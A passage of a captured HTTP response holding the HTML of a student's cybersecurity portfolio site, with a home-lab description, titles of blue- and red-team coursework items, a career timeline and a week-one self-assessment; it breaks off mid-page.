HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div 